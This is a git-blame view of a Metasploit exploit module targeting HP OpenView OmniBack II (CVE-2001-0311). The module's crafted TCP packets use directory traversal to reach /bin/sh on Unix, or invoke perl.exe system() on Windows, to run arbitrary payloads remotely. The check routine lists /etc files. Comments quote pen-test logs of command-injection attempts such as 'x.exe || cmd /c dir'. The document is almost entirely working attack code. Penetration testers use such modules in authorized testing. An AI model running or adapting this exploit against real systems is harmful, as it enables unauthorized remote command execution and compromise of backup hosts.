Files
metasploit-gs/modules/exploits/multi/misc/openview_omniback_exec.rb
T

Ignoring revisions in .git-blame-ignore-revs. Click here to bypass and see the normal blame view.

233 lines
6.3 KiB
Ruby
Raw Normal View History

2008-11-13 09:01:24 +00:00
##
2017-07-24 06:26:21 -07:00
# This module requires Metasploit: https://metasploit.com/download
2013-10-15 13:50:46 -05:00
# Current source: https://github.com/rapid7/metasploit-framework
2008-11-13 09:01:24 +00:00
##
2016-03-08 14:02:44 +01:00
class MetasploitModule < Msf::Exploit::Remote
2009-12-06 05:50:37 +00:00
Rank = ExcellentRanking
2013-08-30 16:28:54 -05:00
2008-11-13 09:01:24 +00:00
include Msf::Exploit::Remote::Tcp
2013-08-30 16:28:54 -05:00
2008-11-13 09:01:24 +00:00
def initialize(info = {})
super(update_info(info,
2008-11-13 09:01:24 +00:00
'Name' => 'HP OpenView OmniBack II Command Execution',
'Description' => %q{
This module uses a vulnerability in the OpenView Omniback II
service to execute arbitrary commands. This vulnerability was
discovered by DiGiT and his code was used as the basis for this
module.
2013-08-30 16:28:54 -05:00
For Microsoft Windows targets, due to module limitations, use the
"unix/cmd/generic" payload and set CMD to your command. You can only
pass a small amount of characters (4) to the command line on Windows.
2008-11-13 09:01:24 +00:00
},
2017-11-09 03:00:24 +11:00
'Author' => [ 'hdm', 'aushack' ],
2008-11-13 09:01:24 +00:00
'License' => MSF_LICENSE,
'References' =>
[
['CVE', '2001-0311'],
['OSVDB', '6018'],
2008-11-13 09:01:24 +00:00
['BID', '11032'],
['URL', 'http://www.securiteam.com/exploits/6M00O150KG.html'],
],
'Platform' => ['unix'], # win
'Arch' => ARCH_CMD,
'Privileged' => false,
'Payload' =>
{
'Space' => 1024,
'DisableNops' => true,
'Compat' =>
{
'PayloadType' => 'cmd',
'RequiredCmd' => 'generic perl telnet',
}
2008-11-13 09:01:24 +00:00
},
'Targets' =>
2008-11-13 09:01:24 +00:00
[
[ 'Unix', { }],
[ 'Windows', { }],
],
2020-10-02 17:38:06 +01:00
'DisclosureDate' => '2001-02-28',
2008-11-13 09:01:24 +00:00
'DefaultTarget' => 0))
2013-08-30 16:28:54 -05:00
register_options(
[
Opt::RPORT(5555)
])
2008-11-13 09:01:24 +00:00
end
2013-08-30 16:28:54 -05:00
2008-11-13 09:01:24 +00:00
def check
2013-08-30 16:28:54 -05:00
2008-11-13 09:01:24 +00:00
if (target.name =~ /Unix/)
connect
2013-08-30 16:28:54 -05:00
poof =
"\x00\x00\x00.2"+
"\x00 a"+
"\x00 0"+
"\x00 0"+
"\x00 0"+
"\x00 A"+
"\x00 28"+
"\x00/../../../bin/sh"+
"\x00\x00"+
"digit "+
"AAAA\n\x00"
2013-08-30 16:28:54 -05:00
2008-11-13 09:01:24 +00:00
sock.put(poof)
sock.put("echo /etc/*;\n")
res = sock.get_once(-1, 5)
disconnect
2013-08-30 16:28:54 -05:00
if !(res and res.length > 0)
2014-01-21 13:03:36 -06:00
vprint_status("The remote service did not reply to our request")
2008-11-13 09:01:24 +00:00
return Exploit::CheckCode::Safe
end
2013-08-30 16:28:54 -05:00
2008-11-13 09:01:24 +00:00
if (res =~ /passwd|group|resolv/)
2014-01-21 13:03:36 -06:00
vprint_status("The remote service is exploitable")
2008-11-13 09:01:24 +00:00
return Exploit::CheckCode::Vulnerable
end
2013-08-30 16:28:54 -05:00
2008-11-13 09:01:24 +00:00
return Exploit::CheckCode::Safe
end
2013-08-30 16:28:54 -05:00
2008-11-13 09:01:24 +00:00
if (target.name =~ /Windows/)
connect
2013-08-30 16:28:54 -05:00
poof =
"\x00\x00\x00.2"+
"\x00 a"+
"\x00 0"+
"\x00 0"+
"\x00 0"+
"\x00 A"+
"\x00 28"+
"\x00\\perl.exe"+
"\x00\x20-e\x20system(dir)\x00\x00"+
"digit "+
"AAAA\n\x00"
2013-08-30 16:28:54 -05:00
2008-11-13 09:01:24 +00:00
sock.put(poof)
res = sock.get_once(-1, 5)
disconnect
2013-08-30 16:28:54 -05:00
2008-11-13 09:01:24 +00:00
print_status(res.to_s)
2013-08-30 16:28:54 -05:00
if !(res and res.length > 0)
2008-11-13 09:01:24 +00:00
print_status("The remote service did not reply to our request")
return Exploit::CheckCode::Safe
end
2013-08-30 16:28:54 -05:00
2008-11-13 09:01:24 +00:00
if (res =~ /V.o.l.u.m.e/) #Unicode
print_status("The remote service is exploitable")
return Exploit::CheckCode::Vulnerable
end
2013-08-30 16:28:54 -05:00
2008-11-13 09:01:24 +00:00
return Exploit::CheckCode::Safe
end
end
2013-08-30 16:28:54 -05:00
2008-11-13 09:01:24 +00:00
def exploit
if (target.name =~ /Unix/)
connect
2013-08-30 16:28:54 -05:00
poof =
"\x00\x00\x00.2"+
"\x00 a"+
"\x00 0"+
"\x00 0"+
"\x00 0"+
"\x00 A"+
"\x00 28"+
"\x00/../../../bin/sh"+
"\x00\x00"+
"digit "+
"AAAA\n\x00"
2013-08-30 16:28:54 -05:00
2008-11-13 09:01:24 +00:00
sock.put(poof)
sock.put(payload.encoded + ";\n")
res = sock.get_once(-1, 5)
2013-08-30 16:28:54 -05:00
if !(res and res.length > 0)
2008-11-13 09:01:24 +00:00
print_status("The remote service did not reply to our request")
disconnect
return
end
2013-08-30 16:28:54 -05:00
2008-11-13 09:01:24 +00:00
print(res)
2013-08-30 16:28:54 -05:00
2008-11-13 09:01:24 +00:00
handler
disconnect
end
2013-08-30 16:28:54 -05:00
2008-11-13 09:01:24 +00:00
if (target.name =~ /Windows/)
2013-08-30 16:28:54 -05:00
2017-11-09 03:00:24 +11:00
# aushack
2008-11-13 09:01:24 +00:00
#
# Tested during pen test against Windows 2003 server.
# Windows Service details:
# - Data Protector Inet
# -> [HP OpenView Storage Data Protector] - Backup client service
# -> "C:\Program Files\OmniBack\bin\omniinet.exe"
# -> OmniInet service for Windows NT
# -> File version: 6.0.0.0
#
# This needs to be cleaned up later. Preferably using the Windows/cmd/perl payloads.
#
# Notes:
# I was unable to use directory traversal, OR (||) or AND (&&) techniques to directly run cmd.exe
# Perhaps a difference in Windows/Unix code? Logs:
#
#11/11/2008 12:18:37 PM INET.5112.1884 ["inetnt/allow_deny.c /main/dp56/dp60_fix/2":496] A.06.00 bDPWIN_00384
#A request 28 (..\foo.exe) came from host [attacker] which is not a cell manager of this client
#
#11/11/2008 12:18:37 PM INET.5112.1884 ["inetnt/ntinet.c /main/dp56/dp60_fix/2":5170] A.06.00 bDPWIN_00384
#[RxNtIntegUtil] parameter refused: ..\foo.exe
#
#11/11/2008 12:21:59 PM INET.5112.1884 ["inetnt/allow_deny.c /main/dp56/dp60_fix/2":496] A.06.00 bDPWIN_00384
#A request 28 (x.exe || cmd /c dir > c:) came from host [attacker] which is not a cell manager of this client
#
#11/11/2008 12:21:59 PM INET.5112.1884 ["inetnt/ntinet.c /main/dp56/dp60_fix/2":5170] A.06.00 bDPWIN_00384
#[RxNtIntegUtil] parameter refused: x.exe || cmd /c dir > c:
#
#11/11/2008 12:22:40 PM INET.5112.1884 ["inetnt/allow_deny.c /main/dp56/dp60_fix/2":496] A.06.00 bDPWIN_00384
#A request 28 (perl.exe && cmd /c dir >) came from [attacker] which is not a cell manager of this client
#
#11/11/2008 12:22:40 PM INET.5112.1884 ["inetnt/ntinet.c /main/dp56/dp60_fix/2":5170] A.06.00 bDPWIN_00384
#[RxNtIntegUtil] parameter refused: perl.exe && cmd /c dir >
2013-08-30 16:28:54 -05:00
2008-11-13 09:01:24 +00:00
connect
2013-08-30 16:28:54 -05:00
poof =
"\x00\x00\x00.2"+
"\x00 a"+
"\x00 0"+
"\x00 0"+
"\x00 0"+
"\x00 A"+
"\x00 28"+
"\x00\\perl.exe"+
"\x00\x20-esystem(#{payload.encoded})\x00\x00"+
"digit "+
"AAAA\n\x00"
2013-08-30 16:28:54 -05:00
2008-11-13 09:01:24 +00:00
sock.put(poof)
#sock.put(payload.encoded + "\n")
res = sock.get_once(-1, 5)
2013-08-30 16:28:54 -05:00
if !(res and res.length > 0)
2008-11-13 09:01:24 +00:00
print_status("The remote service did not reply to our request")
disconnect
return
end
2013-08-30 16:28:54 -05:00
2008-11-13 09:01:24 +00:00
print(res)
2013-08-30 16:28:54 -05:00
2008-11-13 09:01:24 +00:00
handler
disconnect
end
end
end